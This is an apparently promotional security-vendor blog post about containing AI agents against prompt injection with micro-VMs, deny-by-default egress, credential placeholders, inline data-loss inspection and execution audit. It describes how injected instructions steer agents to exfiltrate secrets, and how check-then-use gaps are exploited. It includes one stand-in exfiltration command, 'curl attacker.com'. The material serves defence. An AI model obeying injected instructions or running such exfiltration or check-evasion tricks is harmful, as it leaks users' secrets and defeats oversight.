RayShield
PlatformHow it worksSolutionsSecurity teamsCISOs and CTOsDevelopersFinancial servicesDesign partnersSecurityBlogCompanyInvestorsBook a demo

Blog · prompt injection

Securing AI agents against prompt injection: never trust a check that happens early.

How we ran an open-source AI agent framework so that everything the agent does is contained, recorded, and — where it matters — stopped before anything leaves. One principle connects all of it: never trust a check that happens before the moment of use.

An AI agent with hands

Modern agent frameworks run a loop. A model reads a task, decides on an action, and runs code — shell commands, file writes, network calls — then feeds the result back to itself and continues. Each turn is dispatched to a pluggable backend that provides the computer the agent works on.

That computer is where the risk lives. The commands are written by a language model, and a model can be steered by prompt injection: a hostile instruction hidden inside a web page, a file, a ticket, or earlier conversation the agent reads. One manipulated turn can try to copy secrets out, reach an attacker’s server, or quietly corrupt data.

This is not fixed by asking the model to be careful. It is fixed by making sure a fully hostile turn cannot reach anything that matters.

We wrote a RayShield backend for one such framework. When it needs a computer for a turn, RayShield hands it a disposable, locked-down virtual machine, runs the turn inside it, records everything it does, and destroys the machine when the turn ends. The framework’s reasoning stays where it was. Only the agent’s hands move inside the boundary.

We verified it end to end: a message in Slack, a framework turn, a real micro-VM booting on a laptop, and the agent’s commands executing inside that machine — proven by the machine reporting its own Linux kernel and an identity that could only exist inside the boundary, never on the host.


TOCTOU: why check-then-use is a trap

Security has a name for one of the oldest and sneakiest classes of bug: TOCTOU, time of check to time of use. The everyday version is simple.

A bouncer checks your ID at the door and waves you in. Between the check and the moment you walk through, you swap the ID for a fake. The check was real. It was done at the wrong time.

Most ways a security control gets bypassed are a version of this. Something is checked — a file, a command, a payload, a permission — and then, a moment later, used. If anything can change in that gap, the check protected a version of reality that no longer exists.

For an agent, the gap is everywhere and the attacker is patient:

  • A command is scanned for danger, then run — but the command builds the dangerous part at runtime, so the scanned text and the executed text differ.
  • A file path is validated, then opened — but the file was swapped underneath.
  • Data is inspected for secrets, then sent — but the copy that was scanned and the bytes that actually left are not the same.

A check is worth something when it happens at the moment of use, on the exact thing being used. What follows is that one idea applied to a different layer each time. The mechanisms that close each gap stay private; the guarantee each one gives does not.


Layer 1 — Containment: a boundary enforced continuously

The agent’s computer is a micro-VM: a separate operating-system kernel behind a hardware virtualisation boundary.

This matters for the TOCTOU reason above. A shared-kernel container enforces isolation through a large number of kernel features that all have to stay correct at once, and a single kernel bug turns that into a lie. A virtualisation boundary is not a check that ran at startup and was trusted afterwards — it is enforced by the hardware, on every instruction. There is no "check now, trust later" window to race.

Inside, the agent runs as an unprivileged user with no path to the host’s files, processes or network. The machine is ephemeral: created for a single turn, destroyed when the turn ends. Even if an agent left something behind, there is nothing to leave it in — the machine and its disk are gone moments later. In testing, each turn booted a fresh machine and returned the live machine count to zero immediately after. No foothold persists, so no attack accumulates across turns. The mechanics are on the containment page.

Layer 2 — Egress: deny by default

The most common goal of a hijacked agent is to send something out: data to an attacker, a beacon to a command server. So the boundary starts with no outbound network at all. The agent can think, read and write inside its own machine, and a curl attacker.com has no route to take.

This is a deliberate TOCTOU choice. We do not guess in advance which destinations are safe, bless them, and hope the agent talks only to those. Everything is denied, and only the specific destinations a task genuinely needs are opened — and those remain subject to the inspection in Layer 4.

Allow the world and block the bad, and the block list is always out of date. Deny by default has nothing to race.

Layer 3 — Credential custody: the agent never holds the real key

Frameworks commonly hand the agent real API keys in environment variables. That is a standing invitation: any hostile turn can read its own environment and walk off with the credential.

Here the real credential never enters the boundary. The agent holds a placeholder. The genuine secret is attached at the boundary, at the instant a sanctioned request actually leaves — at the point of use, not stored somewhere the agent could read earlier. Dump the environment, scrape the disk, inspect the process: there is nothing there worth taking.

Layer 4 — Data-loss prevention: inspect the bytes that actually leave

This is where check-then-use becomes the whole point.

A naive data-loss control takes the data, sends it to a scanner service, waits for a verdict, and forwards the data if it comes back clean. That is a textbook TOCTOU hole. What was scanned is a copy; what leaves is a different send. In between, the payload can be reassembled, re-encoded, chunked, or swapped. The scan protected a ghost.

RayShield has no separate scanner to race. Inspection happens inline, on the wire, on the exact bytes in transit, at the single point where data crosses the boundary. There is no earlier approved copy and no later actual send that could diverge. The check is the use. When a sanctioned destination is open — a model API a task legitimately needs — the outgoing content is examined as it flows, and content that should not leave is stopped before it reaches the other side rather than flagged after it has gone. That is what Protect does.

Verdicts are graded rather than binary. Some matches are logged, so there is a record and the rules can be tuned. Some are blocked outright: the transmission fails and the data never lands. In our own audit trail both kinds of decision appear against real traffic — a card number caught on one channel and noted, the same class of match on a properly routed channel and hard-blocked. What matters is not which way a given rule is set, but that the decision is made at the moment and place of transmission, so "checked" and "sent" never mean two different things.

Note. An honest note on scope, because it is also a check-then-use question: in this integration the framework’s own call to the language model runs on the host, not inside the boundary. That leg has its own inspection point — the same principle at a different boundary — and it has to be wired deliberately. Treating "the agent’s execution is contained" as though it also covered the host’s model traffic would itself be a check applied in the wrong place. Defence in depth means putting a real control at each boundary, not assuming one covers another.

Layer 5 — Audit: record the action, not the description of it

Everything the agent does is recorded, at the right moment. We do not log the command the agent said it would run; we log the program execution as it happens, with the real program, the real arguments, and a tag for where it happened.

That distinction is a TOCTOU distinction. A command string and the process it eventually launches can differ, so the trustworthy record is the one taken at the launch itself.

This produces two independent views, which never get confused because each entry is tagged with its origin:

  • Inside the boundary — a moment-of-use record of every program the agent ran. When we asked the agent to check its identity, the audit shows the exact execution of that check, tagged as happening inside containment.
  • At the endpoint — a separate record of AI tool traffic on the host. We caught our own tooling here, which was a useful reminder that the two planes are genuinely distinct.

On top of the raw record sits behavioural detection: a destructive command, an attempt to read something sensitive, a shape that looks like data being staged for exfiltration. Those surface as graded alerts. This is the layer that turns "we have logs" into "we noticed".


Defence in depth, demonstrated by accident

The framework we secured has its own safety layer — a content screen that can quarantine a conversation whose context looks manipulative. During testing it did exactly that. After a thread accumulated probing and policy-violating content, a later and perfectly innocent request was refused, with the agent explaining that its security screen had flagged the conversation’s context and pointing at a review process.

That is not a bug. That is two independent safety systems — the framework’s content screen and the execution boundary — each doing its job at its own layer. Neither trusts the other to have handled the threat already, which is the entire point of depth.

What securing an AI agent actually means

Put together: an injected turn inside this system cannot reach the network to exfiltrate or beacon, cannot read host files or another session’s state, cannot take a live credential from its environment, cannot leave a foothold for the next turn, and cannot move watched data past an inline inspection point. Every real action it takes is recorded at the moment it happens, on two clearly separated planes, with dangerous patterns surfaced as alerts.

The reason to believe any of that is the same reason it works. None of these controls is a check made early and trusted later. Each is enforced at the point of use — the boundary the hardware enforces on every instruction, the network deny with nothing to race, the credential attached only at send time, the inspection performed on the exact bytes in transit, the audit taken at the launch itself.

Close the gap between check and use, everywhere, and the whole category of "the check protected a ghost" has nowhere left to live.

That is the difference between an agent you hope behaves and one whose bad decisions have nowhere to land.


  • Platform: how RayShield Aegis discovers, contains and governs AI agents.
  • Security: what Aegis enforces, and exactly where its protection ends.

See RayShield Aegis on your own agents.

A 30-minute demo, mapped to one of your real agent setups.